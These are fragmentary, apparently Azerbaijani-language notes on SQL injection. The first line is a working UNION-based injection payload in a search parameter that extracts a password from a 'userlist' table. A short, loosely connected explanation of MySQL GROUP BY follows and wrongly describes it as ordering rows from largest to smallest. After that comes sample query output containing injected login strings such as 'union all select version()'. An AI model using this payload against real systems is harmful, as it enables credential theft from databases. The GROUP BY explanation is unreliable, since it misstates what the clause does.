search=admin') or -1=1 UNION SELECT 1,(select pass from userlist limit 0,1),3,4,5 and (1='1&submit_s=Axtar



group by

mysql group by istediyimiz 

tableni 
boyukden kiciye gore
siralaya bilerik Bu Funksiya vasitesi ile

mysql> select * from user group by id;
+----+----------------------------------------+
| id | login                                  |
+----+----------------------------------------+
|  0 | owned                                  |
|  1 | (select version())                     |
|  2 | dfsfsdfsdfdsfsdfsdf                    |
|  4 | Ñ union all select version()/*         |
|  5 | dsfdfsdfsdfsdfsdfsdfsdfsdfdsfdsfsdfsdf |
+----+----------------------------------------+
5 rows in set (0.00 sec)